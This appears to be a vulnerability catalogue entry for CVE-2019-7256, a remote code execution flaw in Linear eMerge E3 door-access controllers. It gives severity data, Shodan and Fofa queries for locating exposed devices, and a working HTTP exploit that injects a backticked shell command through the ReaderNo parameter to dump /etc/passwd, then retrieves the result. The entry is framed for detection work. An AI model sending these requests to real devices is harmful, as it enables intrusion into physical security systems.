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CVE-2019-7256: eMerge E3 1.00-06 - Remote Code Execution

TitleeMerge E3 1.00-06 - Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patch or update to a non-vulnerable version of eMerge E3.
CVSS Score10
EPSS Score0.94406
CVE IDCVE-2019-7256
CWE IDCWE-78
Shodan Querytitle:"eMerge"http.title:"emerge"
Fofa Querytitle="emerge"
Tags cve cve2019 emerge rce edb nortekcontrol kev vkev vuln

🔍 Vulnerability Description

Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.

🌐 HTTP Request

GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20IEdaTBOmuO.txt%60 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /IEdaTBOmuO.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7256.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-7256.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A